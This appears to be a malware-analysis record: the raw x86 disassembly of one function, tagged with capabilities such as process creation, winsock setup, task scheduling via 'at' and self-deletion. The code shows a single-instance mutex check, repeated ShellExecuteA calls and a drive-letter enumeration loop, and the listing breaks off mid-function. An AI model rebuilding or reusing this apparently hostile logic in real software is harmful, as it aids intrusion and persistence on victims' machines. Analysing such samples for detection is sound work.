Function at 0x41fd00
Capabilities:
Create process on windows
Initialize winsock library
Schedule task via at
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x35
push 0
push 0
dec ecx
jne 0x41fd08
push ebx
push esi
push edi
mov eax, 0x41fbf8
call fcn.004062a8
xor eax, eax
push ebp
push 0x421694
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x1388
call sub.kernel32.dll_Sleep
call fcn.00402a30
call fcn.00409188
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x18]
call fcn.00408d70
mov eax, dword [ebp - 0x18]
mov dword [0x13678cc], eax
mov eax, dword [ebp - 0x14]
mov dword [0x13678d0], eax
call fcn.00409188
add esp, 0xfffffff8
fstp qword [esp]
wait
call fcn.0041e34c
lea edx, [ebp - 0x1c]
call fcn.00407900
mov edx, dword [ebp - 0x1c]
mov eax, 0x136665c
call fcn.00404158
mov eax, 0x1366634
call fcn.00404104
mov eax, 0x423958
call fcn.00404104
mov eax, 0x42396c
call fcn.00404104
mov byte [0x1366638], 0
mov byte [0x136664c], 0
mov byte [0x136664d], 0
mov byte [0x136664e], 0
mov eax, dword [0x422620]
mov byte [eax], 0
push 0
mov eax, dword [0x422620]
add eax, 4
mov ecx, 1
mov edx, dword [0x418ae0]
call fcn.004053c4
add esp, 4
push 0
mov eax, dword [0x422620]
add eax, 8
mov ecx, 1
mov edx, dword [0x418ae0]
call fcn.004053c4
add esp, 4
push 0x4216b0
push 0x4216bc
mov ecx, dword [0x423660]
mov dl, 1
mov eax, dword [0x413e94]
call fcn.004160e8
mov ebx, eax
mov eax, dword [0x422654]
xor edx, edx
call fcn.004046fc
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov edx, eax
mov eax, dword [0x422654]
call fcn.004046fc
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
push eax
sar eax, 0x1f
cmp eax, edx
pop eax
je 0x41fe51
call fcn.0040353c
push eax
mov eax, dword [0x422654]
call fcn.00404624
mov edx, 1
dec edx
test eax, eax
je 0x41fe6b
cmp edx, dword [eax - 4]
jb 0x41fe70
call fcn.0040353c
inc edx
lea edx, [eax + edx - 1]
mov eax, ebx
pop ecx
call fcn.00415d84
mov eax, ebx
call fcn.004035d4
call fcn.004182d8
mov dl, 1
mov eax, dword [0x413ba4]
call fcn.004035a4
mov dword [0x13678d4], eax
xor eax, eax
push ebp
push 0x41fee3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4216cc
push 0x4216bc
mov ecx, dword [0x423660]
mov dl, 1
mov eax, dword [0x413e94]
call fcn.004160e8
mov ebx, eax
mov edx, ebx
mov eax, dword [0x13678d4]
mov ecx, dword [eax]
call dword [ecx + 0x6c]
mov eax, ebx
call fcn.004035d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41ff1c
lea ecx, [ebp - 0x28]
xor edx, edx
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x28]
mov eax, 0x423964
call fcn.00404158
lea ecx, [ebp - 0x2c]
mov edx, 1
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2c]
mov eax, 0x423968
call fcn.00404158
lea ecx, [ebp - 0x30]
mov edx, 2
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x30]
mov eax, 0x1366648
call fcn.00404158
lea ecx, [ebp - 0x34]
mov edx, 3
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x34]
mov eax, 0x42396c
call fcn.00404158
lea ecx, [ebp - 0x38]
mov edx, 4
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x38]
call fcn.00407a6c
mov dword [0x13678d8], eax
lea ecx, [ebp - 0x3c]
mov edx, 5
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x3c]
call fcn.00407a6c
mov dword [0x13678dc], eax
lea ecx, [ebp - 0x40]
mov edx, 6
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x40]
mov edx, 0x4216f0
call fcn.00404518
jne 0x41fffd
mov byte [0x423974], 1
jmp 0x420004
mov byte [0x423974], 0
lea ecx, [ebp - 0x44]
mov edx, 7
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x44]
mov edx, 0x4216f0
call fcn.00404518
jne 0x42002f
mov eax, dword [0x422520]
mov byte [eax], 1
jmp 0x420037
mov eax, dword [0x422520]
mov byte [eax], 0
mov byte [0x42421d], 0
lea ecx, [ebp - 0x48]
mov edx, 8
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x48]
mov edx, 0x421700
call fcn.00404518
jne 0x420068
mov byte [0x42421d], 1
jmp 0x4200ba
lea ecx, [ebp - 0x4c]
mov edx, 8
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x4c]
mov edx, 0x421710
call fcn.00404518
jne 0x420092
mov byte [0x42421d], 2
jmp 0x4200ba
lea ecx, [ebp - 0x50]
mov edx, 8
mov eax, dword [0x13678d4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x50]
mov edx, 0x421724
call fcn.00404518
jne 0x4200ba
mov byte [0x42421d], 3
mov ebx, 9
mov byte [0x4239a0], 0
jmp 0x420107
lea ecx, [ebp - 0x54]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov edx, dword [ebp - 0x54]
xor eax, eax
mov al, byte [0x4239a0]
lea eax, [eax*4 + 0x4239a4]
call fcn.00404158
xor eax, eax
mov al, byte [0x4239a0]
inc eax
cmp eax, 0xff
jbe 0x420101
call fcn.0040353c
mov byte [0x4239a0], al
inc ebx
lea ecx, [ebp - 0x58]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x58]
mov edx, 0x421738
call fcn.00404518
jne 0x4200c8
inc ebx
mov byte [0x4239a1], 0
jmp 0x42016e
lea ecx, [ebp - 0x5c]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov edx, dword [ebp - 0x5c]
xor eax, eax
mov al, byte [0x4239a1]
lea eax, [eax*4 + 0x423da4]
call fcn.00404158
xor eax, eax
mov al, byte [0x4239a1]
inc eax
cmp eax, 0xff
jbe 0x420168
call fcn.0040353c
mov byte [0x4239a1], al
inc ebx
lea ecx, [ebp - 0x60]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x60]
mov edx, 0x421764
call fcn.00404518
jne 0x42012f
inc ebx
mov dl, 1
mov eax, dword [0x413ba4]
call fcn.004035a4
mov dword [0x13678e0], eax
jmp 0x4201bd
lea ecx, [ebp - 0x64]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov edx, dword [ebp - 0x64]
mov eax, dword [0x13678e0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
lea ecx, [ebp - 0x68]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x68]
mov edx, 0x42178c
call fcn.00404518
jne 0x4201a0
inc ebx
mov dl, 1
mov eax, dword [0x413ba4]
call fcn.004035a4
mov dword [0x13677f4], eax
jmp 0x420217
lea ecx, [ebp - 0x70]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x70]
lea edx, [ebp - 0x6c]
call fcn.00407774
mov edx, dword [ebp - 0x6c]
mov eax, dword [0x13677f4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
lea ecx, [ebp - 0x74]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x74]
mov edx, 0x4217ac
call fcn.00404518
jne 0x4201ef
inc ebx
mov dl, 1
mov eax, dword [0x413ba4]
call fcn.004035a4
mov dword [0x13677f8], eax
jmp 0x420271
lea ecx, [ebp - 0x7c]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x7c]
lea edx, [ebp - 0x78]
call fcn.00407774
mov edx, dword [ebp - 0x78]
mov eax, dword [0x13677f8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
lea ecx, [ebp - 0x80]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x80]
mov edx, 0x4217d4
call fcn.00404518
jne 0x420249
inc ebx
mov dl, 1
mov eax, dword [0x413ba4]
call fcn.004035a4
mov dword [0x13677fc], eax
jmp 0x4202d7
lea ecx, [ebp - 0x88]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x88]
lea edx, [ebp - 0x84]
call fcn.00407774
mov edx, dword [ebp - 0x84]
mov eax, dword [0x13677fc]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
lea ecx, [ebp - 0x8c]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x8c]
mov edx, 0x4217fc
call fcn.00404518
jne 0x4202a3
inc ebx
mov dl, 1
mov eax, dword [0x413ba4]
call fcn.004035a4
mov dword [0x1367800], eax
jmp 0x420343
lea ecx, [ebp - 0x94]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x94]
lea edx, [ebp - 0x90]
call fcn.00407774
mov edx, dword [ebp - 0x90]
mov eax, dword [0x1367800]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
lea ecx, [ebp - 0x98]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x98]
mov edx, 0x421824
call fcn.00404518
jne 0x42030f
inc ebx
mov dl, 1
mov eax, dword [0x413ba4]
call fcn.004035a4
mov dword [0x1367804], eax
jmp 0x4203af
lea ecx, [ebp - 0xa0]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0xa0]
lea edx, [ebp - 0x9c]
call fcn.00407774
mov edx, dword [ebp - 0x9c]
mov eax, dword [0x1367804]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
lea ecx, [ebp - 0xa4]
mov edx, ebx
mov eax, dword [0x13678d4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0xa4]
mov edx, 0x42184c
call fcn.00404518
jne 0x42037b
mov eax, dword [0x13678d4]
call fcn.004035d4
mov dl, 1
mov eax, dword [0x413ba4]
call fcn.004035a4
mov dword [0x1367808], eax
xor eax, eax
push ebp
push 0x420437
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x421878
push 0x4216bc
mov ecx, dword [0x423660]
mov dl, 1
mov eax, dword [0x413e94]
call fcn.004160e8
mov ebx, eax
mov edx, ebx
mov eax, dword [0x1367808]
mov ecx, dword [eax]
call dword [ecx + 0x6c]
mov eax, ebx
call fcn.004035d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x42047f
mov ebx, 1
jmp 0x4205b7
lea edx, [ebp - 0xb0]
mov eax, ebx
call fcn.004029d0
mov eax, dword [ebp - 0xb0]
mov edx, 0x421894
call fcn.00404518
jne 0x4204b6
mov byte [0x4239a0], 0
mov byte [0x4239a1], 0
lea edx, [ebp - 0xb4]
mov eax, ebx
call fcn.004029d0
mov eax, dword [ebp - 0xb4]
mov edx, 0x4218a4
call fcn.00404518
jne 0x4204dc
mov byte [0x136664e], 1
lea edx, [ebp - 0xb8]
mov eax, ebx
call fcn.004029d0
mov eax, dword [ebp - 0xb8]
mov edx, 0x4218b4
call fcn.00404518
jne 0x420502
mov byte [0x136664c], 1
lea edx, [ebp - 0xbc]
mov eax, ebx
call fcn.004029d0
mov eax, dword [ebp - 0xbc]
mov edx, 0x4218c8
call fcn.00404518
jne 0x420528
mov byte [0x136664d], 1
lea edx, [ebp - 0xc0]
mov eax, ebx
call fcn.004029d0
mov eax, dword [ebp - 0xc0]
mov edx, 0x4218d8
call fcn.00404518
jne 0x42055c
mov edx, 0x1366634
lea eax, [ebx + 1]
call fcn.004029d0
mov byte [0x1366638], 1
inc ebx
lea edx, [ebp - 0xc4]
mov eax, ebx
call fcn.004029d0
mov eax, dword [ebp - 0xc4]
mov edx, 0x4218e4
call fcn.00404518
jne 0x420589
mov edx, 0x423958
lea eax, [ebx + 1]
call fcn.004029d0
inc ebx
lea edx, [ebp - 0xc8]
mov eax, ebx
call fcn.004029d0
mov eax, dword [ebp - 0xc8]
mov edx, 0x4218f0
call fcn.00404518
jne 0x4205b6
mov edx, 0x42396c
lea eax, [ebx + 1]
call fcn.004029d0
inc ebx
inc ebx
call fcn.00402970
cmp ebx, eax
jle 0x420489
call fcn.00402970
dec eax
jne 0x420620
lea edx, [ebp - 0xcc]
mov eax, 1
call fcn.004029d0
mov eax, dword [ebp - 0xcc]
call fcn.00407e18
test al, al
jne 0x42060a
lea edx, [ebp - 0xd0]
mov eax, 1
call fcn.004029d0
mov eax, dword [ebp - 0xd0]
call fcn.00407e28
test al, al
je 0x420620
mov byte [0x1366638], 1
mov edx, 0x1366634
mov eax, 1
call fcn.004029d0
push 0x1367664
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
je 0x42063a
mov byte [0x136664d], 1
lea eax, [ebp - 0xd4]
call fcn.0041e480
mov edx, dword [ebp - 0xd4]
mov eax, 0x42394c
call fcn.004049d4
mov eax, dword [0x42394c]
call fcn.004049f4
mov edx, dword [0x42394c]
dec eax
test edx, edx
je 0x42066f
cmp eax, dword [edx - 4]
jb 0x420674
call fcn.0040353c
inc eax
cmp word [edx + eax*2 - 2], 0x5c
je 0x42068c
mov eax, 0x42394c
mov edx, 0x4218fc
call fcn.00404a00
lea eax, [ebp - 0xd8]
call fcn.0041e4b0
mov edx, dword [ebp - 0xd8]
mov eax, 0x423950
call fcn.00404868
mov eax, dword [0x423950]
call fcn.004049f4
mov edx, dword [0x423950]
dec eax
test edx, edx
je 0x4206c1
cmp eax, dword [edx - 4]
jb 0x4206c6
call fcn.0040353c
inc eax
cmp word [edx + eax*2 - 2], 0x5c
je 0x4206de
mov eax, 0x423950
mov edx, 0x4218fc
call fcn.00404a00
lea eax, [ebp - 0xdc]
mov edx, dword [0x423950]
call fcn.004043b8
mov eax, dword [ebp - 0xdc]
call fcn.00407e28
test al, al
jne 0x42072c
lea edx, [ebp - 0xe4]
xor eax, eax
call fcn.004029d0
mov eax, dword [ebp - 0xe4]
lea edx, [ebp - 0xe0]
call fcn.00407e9c
mov edx, dword [ebp - 0xe0]
mov eax, 0x423950
call fcn.004049d4
lea eax, [ebp - 0xe8]
call fcn.004198ec
mov edx, dword [ebp - 0xe8]
mov eax, 0x423954
call fcn.00404868
mov eax, dword [0x423954]
call fcn.004049f4
mov edx, dword [0x423954]
dec eax
test edx, edx
je 0x420761
cmp eax, dword [edx - 4]
jb 0x420766
call fcn.0040353c
inc eax
cmp word [edx + eax*2 - 2], 0x5c
je 0x42077e
mov eax, 0x423954
mov edx, 0x4218fc
call fcn.00404a00
cmp dword [0x423958], 0
jne 0x4207a2
lea eax, [ebp - 0xec]
call fcn.0041a2fc
mov edx, dword [ebp - 0xec]
mov eax, 0x423958
call fcn.00404158
mov bl, byte [0x1366638]
xor bl, 1
test bl, bl
je 0x4207e4
mov eax, dword [0x423958]
call fcn.004045cc
push eax
push 0xffffffffffffffff
push 0
call fcn.004063fc
mov dword [0x42395c], eax
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
jne 0x4207e4
mov eax, dword [0x42395c]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x421561
lea eax, [ebp - 0xf0]
call fcn.0041ee58
mov edx, dword [ebp - 0xf0]
mov eax, 0x4241e4
call fcn.00404158
lea edx, [ebp - 0xf4]
mov eax, dword [0x4241e4]
call fcn.0041e36c
mov edx, dword [ebp - 0xf4]
mov eax, 0x4241e4
call fcn.00404158
mov eax, 0x1367860
mov edx, 0x421908
call fcn.00404158
mov eax, 0x1367864
mov edx, 0x421918
call fcn.00404158
mov eax, 0x1367868
mov edx, 0x42192c
call fcn.00404158
mov eax, 0x136786c
mov edx, 0x42193c
call fcn.00404158
mov eax, 0x1367870
mov edx, 0x42194c
call fcn.00404158
mov eax, 0x1367874
mov edx, 0x421958
call fcn.00404158
mov eax, 0x1367878
mov edx, 0x421968
call fcn.00404158
mov eax, 0x136787c
mov edx, 0x421978
call fcn.00404158
mov eax, 0x1367880
mov edx, 0x421988
call fcn.00404158
mov eax, 0x1367884
mov edx, 0x42199c
call fcn.00404158
mov eax, 0x1367888
mov edx, 0x4219ac
call fcn.00404158
mov eax, 0x136788c
mov edx, 0x4219c0
call fcn.00404158
mov byte [0x1367812], 0x3a
mov byte [0x1367811], 0x20
call fcn.00409188
fstp qword [0x1366650]
wait
push dword [0x1366654]
push dword [0x1366650]
lea ecx, [ebp - 0xf8]
mov edx, 0x136780c
mov eax, 0x4219d4
call fcn.0040aa28
mov edx, dword [ebp - 0xf8]
mov eax, 0x136663c
call fcn.00404158
mov edx, dword [0x136663c]
mov eax, 0x4219f4
call fcn.004046b4
test eax, eax
jne 0x420941
mov eax, 0x136663c
mov edx, 0x421a00
call fcn.004043d4
call fcn.00409188
fstp qword [0x1366650]
wait
push dword [0x1366654]
push dword [0x1366650]
mov eax, dword [0x13678d8]
call fcn.00417868
fstp qword [0x1366650]
wait
push dword [0x1366654]
push dword [0x1366650]
lea ecx, [ebp - 0xfc]
mov edx, 0x136780c
mov eax, 0x4219d4
call fcn.0040aa28
mov edx, dword [ebp - 0xfc]
mov eax, 0x1366640
call fcn.00404158
mov edx, dword [0x1366640]
mov eax, 0x4219f4
call fcn.004046b4
test eax, eax
jne 0x4209be
mov eax, 0x1366640
mov edx, 0x421a00
call fcn.004043d4
call fcn.00409188
fstp qword [0x1366650]
wait
push dword [0x1366654]
push dword [0x1366650]
mov eax, dword [0x13678dc]
call fcn.00417868
fstp qword [0x1366650]
wait
push dword [0x1366654]
push dword [0x1366650]
lea ecx, [ebp - 0x100]
mov edx, 0x136780c
mov eax, 0x4219d4
call fcn.0040aa28
mov edx, dword [ebp - 0x100]
mov eax, 0x1366644
call fcn.00404158
mov edx, dword [0x1366644]
mov eax, 0x4219f4
call fcn.004046b4
test eax, eax
jne 0x420a3b
mov eax, 0x1366644
mov edx, 0x421a00
call fcn.004043d4
mov eax, 0x423970
mov edx, 0x421a14
call fcn.00404158
mov eax, 0x1366658
mov edx, 0x421a20
call fcn.00404868
lea eax, [ebp - 0x104]
mov ecx, dword [0x1366658]
mov edx, dword [0x423950]
call fcn.00404a60
mov eax, dword [ebp - 0x104]
call fcn.0041c790
test al, al
jne 0x420ac8
call fcn.0041f384
lea edx, [ebp - 0x108]
mov eax, dword [0x1367808]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x108]
mov eax, 0x423960
call fcn.00404158
lea eax, [ebp - 0x10c]
mov ecx, dword [0x1366658]
mov edx, dword [0x423950]
call fcn.00404a60
mov eax, dword [ebp - 0x10c]
call fcn.00419794
jmp 0x420afa
lea eax, [ebp - 0x110]
mov ecx, dword [0x1366658]
mov edx, dword [0x423950]
call fcn.00404a60
mov eax, dword [ebp - 0x110]
call fcn.00419828
mov edx, dword [0x423960]
mov eax, dword [0x1367808]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
test bl, bl
je 0x420b20
cmp byte [0x423974], 0
je 0x420b20
call fcn.0041e82c
test al, al
je 0x420b20
mov eax, dword [0x42395c]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x421561
cmp byte [0x423974], 0
je 0x420b32
call fcn.0041e4dc
test al, al
jne 0x420b3a
mov eax, dword [0x422520]
mov byte [eax], 0
call fcn.0041e298
call fcn.0041e2b4
call fcn.0041ecf4
call fcn.0041e148
cmp byte [0x1366638], 0
je 0x420cb4
mov byte [0x1367660], 0
mov eax, dword [0x1366634]
call fcn.00407e28
test al, al
je 0x420bec
push 0x421a50
push dword [0x136665c]
push 0x421a60
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.0040448c
mov eax, dword [ebp - 0x114]
mov edx, dword [0x1366634]
call fcn.0041eef0
lea eax, [ebp - 0x118]
mov edx, dword [0x1366634]
call fcn.004049d4
mov eax, dword [ebp - 0x118]
push eax
push 0x421a50
push dword [0x136665c]
push 0x421a60
lea eax, [ebp - 0x11c]
mov edx, 3
call fcn.0040448c
mov ecx, dword [ebp - 0x11c]
xor edx, edx
pop eax
call fcn.0041ca18
jmp 0x420c9c
mov eax, dword [0x1366634]
call fcn.00407e18
test al, al
je 0x420c9c
cmp byte [0x1367660], 0
jne 0x420c9c
push 0
lea edx, [ebp - 0x128]
mov eax, dword [0x1366634]
call fcn.00407ed0
mov edx, dword [ebp - 0x128]
lea eax, [ebp - 0x124]
call fcn.004049d4
mov eax, dword [ebp - 0x124]
lea edx, [ebp - 0x120]
call fcn.0041c8c4
mov eax, dword [ebp - 0x120]
push eax
lea edx, [ebp - 0x130]
mov eax, dword [0x1366634]
call fcn.00407ed0
mov edx, dword [ebp - 0x130]
lea eax, [ebp - 0x12c]
call fcn.004049d4
mov eax, dword [ebp - 0x12c]
push eax
lea edx, [ebp - 0x138]
mov eax, dword [0x1366634]
call fcn.00407e9c
mov edx, dword [ebp - 0x138]
lea eax, [ebp - 0x134]
call fcn.004049d4
mov eax, dword [ebp - 0x134]
pop edx
pop ecx
call fcn.0041b790
inc byte [0x1367660]
cmp byte [0x1367660], 2
jne 0x420b62
jmp 0x421561
call fcn.0041f244
jmp 0x420cc5
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
push 0x4241e0
mov ecx, 0x41fa5c
xor edx, edx
xor eax, eax
call fcn.004040c0
test eax, eax
je 0x420cbb
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, dword [0x13678e0]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x420d55
inc esi
xor ebx, ebx
push 0
push 0
push 0x421a70
lea ecx, [ebp - 0x140]
mov edx, ebx
mov eax, dword [0x13678e0]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x140]
push 0x421a80
lea eax, [ebp - 0x13c]
mov edx, 3
call fcn.0040448c
mov eax, dword [ebp - 0x13c]
call fcn.004045cc
push eax
push 0x421a84
push 0x421a88
push 0
call sub.shell32.dll_ShellExecuteA
inc ebx
dec esi
jne 0x420cfe
push 0xbb8
call sub.kernel32.dll_Sleep
mov eax, dword [0x422520]
cmp byte [eax], 0
je 0x420d95
call fcn.00419444
jmp 0x420d7a
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
push 0x4241e0
mov ecx, 0x419608
xor edx, edx
xor eax, eax
call fcn.004040c0
test eax, eax
je 0x420d70
mov byte [0x1367660], 0
mov byte [0x4241dc], 0
mov esi, 0x1a
mov ebx, 0x4241e9
mov byte [ebx], 0
add ebx, 2
dec esi
jne 0x420dad
cmp byte [0x136664d], 0
jne 0x420de6
jmp 0x420dcb
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
push 0x4241e0
mov ecx, 0x41df08
xor edx, edx
xor eax, eax
call fcn.004040c0
test eax, eax
je 0x420dc1
cmp byte [0x136664c], 0
jne 0x420ec5
xor esi, esi
mov ebx, 0x4241e8
lea eax, [ebp - 0x148]
mov edx, esi
add dl, 0x41
call fcn.004042ec
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x144]
call fcn.00407774
mov eax, dword [ebp - 0x144]
push eax
lea eax, [ebp - 0x150]
mov edx, 1
mov ecx, dword [0x423954]
dec edx
test ecx, ecx
je 0x420e3d
cmp edx, dword [ecx - 4]
jb 0x420e42
call fcn.0040353c
inc edx
mov dx, word [ecx + edx*2 - 2]
call fcn.004042fc
mov eax, dword [ebp - 0x150]
lea edx, [ebp - 0x14c]
call fcn.00407774
mov edx, dword [ebp - 0x14c]
pop eax
call fcn.00404518
je 0x420ea4
mov eax, esi
cmp eax, 0xff
jbe 0x420e7a
call fcn.0040353c
mov byte [ebx], al
jmp 0x420e88
push 0x2710
call sub.kernel32.dll_Sleep
push ebx
push 0
push 0x4241e0
mov ecx, 0x41f028
xor edx, edx
xor eax, eax
call fcn.004040c0
test eax, eax
je 0x420e7e
jmp 0x420eb8
mov eax, esi
cmp eax, 0xff
jbe 0x420eb2
call fcn.0040353c
mov byte [ebx], al
mov byte [ebx + 1], 1
inc esi
add ebx, 2
cmp esi, 0x1a
jne 0x420dfa
mov byte [0x42421c], 0
cmp byte [0x136664c], 0
jne 0x420f0f
jmp 0x420f06
mov byte [0x42421c], 1
mov esi, 0x1a
mov ebx, 0x4241e9
cmp byte [ebx], 0
jne 0x420ef6
mov byte [0x42421c], 0
jmp 0x420efc
add ebx, 2
dec esi
jne 0x420ee8
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [0x42421c], 0
je 0x420ed7
cmp byte [0x136664d], 0
jne 0x420f2d
jmp 0x420f24
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [0x4241dc], 0
je 0x420f1a
mov byte [0x42421c], 0
cmp byte [0x136664d], 0
jne 0x420f77
jmp 0x420f6e
mov byte [0x42421c], 1
mov eax, 0xf4241
mov ebx, 0x42422c
cmp byte [ebx], 0
jne 0x420f5e
mov byte [0x42421c], 0
jmp 0x420f64
add ebx, 0x10
dec eax
jne 0x420f50
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [0x42421c], 0
je 0x420f3f
mov bl, byte [0x136664c]
xor bl, 1
test bl, bl
je 0x421159
lea eax, [ebp - 0x154]
mov edx, 1
mov ecx, dword [0x423954]
dec edx
test ecx, ecx
je 0x420fa3
cmp edx, dword [ecx - 4]
jb 0x420fa8
call fcn.0040353c
inc edx
mov dx, word [ecx + edx*2 - 2]
call fcn.004042fc
lea eax, [ebp - 0x154]
mov edx, 0x421a98
call fcn.004043d4
mov eax, dword [ebp - 0x154]
push eax
lea eax, [ebp - 0x164]
mov edx, dword [0x423954]
call fcn.004043b8
mov eax, dword [ebp - 0x164]
mov edx, 1
dec edx
test eax, eax
je 0x420ff0
cmp edx, dword [eax - 4]
jb 0x420ff5
call fcn.0040353c
inc edx
mov dl, byte [eax + edx - 1]
lea eax, [ebp - 0x160]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x160]
lea eax, [ebp - 0x168]
call fcn.00402ebc
mov edx, 0x421a9c
lea eax, [ebp - 0x168]
mov cl, 2
call fcn.00402e8c
lea edx, [ebp - 0x168]
lea eax, [ebp - 0x15c]
call fcn.00404378
push dword [ebp - 0x15c]
push dword [0x136665c]
push 0x421a60
lea eax, [ebp - 0x158]
mov edx, 3
call fcn.0040448c
mov eax, dword [ebp - 0x158]
pop edx
call fcn.0041eef0
lea eax, [ebp - 0x174]
mov edx, dword [0x423954]
call fcn.004043b8
mov eax, dword [ebp - 0x174]
mov edx, 1
dec edx
test eax, eax
je 0x42108d
cmp edx, dword [eax - 4]
jb 0x421092
call fcn.0040353c
inc edx
mov dl, byte [eax + edx - 1]
lea eax, [ebp - 0x160]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x160]
lea eax, [ebp - 0x168]
call fcn.00402ebc
mov edx, 0x421a9c
lea eax, [ebp - 0x168]
mov cl, 2
call fcn.00402e8c
lea edx, [ebp - 0x168]
lea eax, [ebp - 0x170]
call fcn.00404378
push dword [ebp - 0x170]
push dword [0x136665c]
push 0x421a60
lea eax, [ebp - 0x16c]
mov edx, 3
call fcn.0040448c
mov eax, dword [ebp - 0x16c]
push eax
lea eax, [ebp - 0x17c]
mov edx, 1
mov ecx, dword [0x423954]
dec edx
test ecx, ecx
je 0x42111a
cmp edx, dword [ecx - 4]
jb 0x42111f
call fcn.0040353c
inc edx
mov dx, word [ecx + edx*2 - 2]
call fcn.004042fc
lea eax, [ebp - 0x17c]
mov edx, 0x421a98
call fcn.004043d4
mov edx, dword [ebp - 0x17c]
lea eax, [ebp - 0x178]
call fcn.004049d4
mov eax, dword [ebp - 0x178]
xor edx, edx
pop ecx
call fcn.0041ca18
test bl, bl
je 0x421204
lea eax, [ebp - 0x188]
mov edx, dword [0x423954]
call fcn.004043b8
mov eax, dword [ebp - 0x188]
mov edx, 1
dec edx
test eax, eax
je 0x421187
cmp edx, dword [eax - 4]
jb 0x42118c
call fcn.0040353c
inc edx
mov dl, byte [eax + edx - 1]
lea eax, [ebp - 0x160]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x160]
lea eax, [ebp - 0x168]
call fcn.00402ebc
mov edx, 0x421a9c
lea eax, [ebp - 0x168]
mov cl, 2
call fcn.00402e8c
lea edx, [ebp - 0x168]
lea eax, [ebp - 0x184]
call fcn.00404378
push dword [ebp - 0x184]
push dword [0x136665c]
push 0x421a60
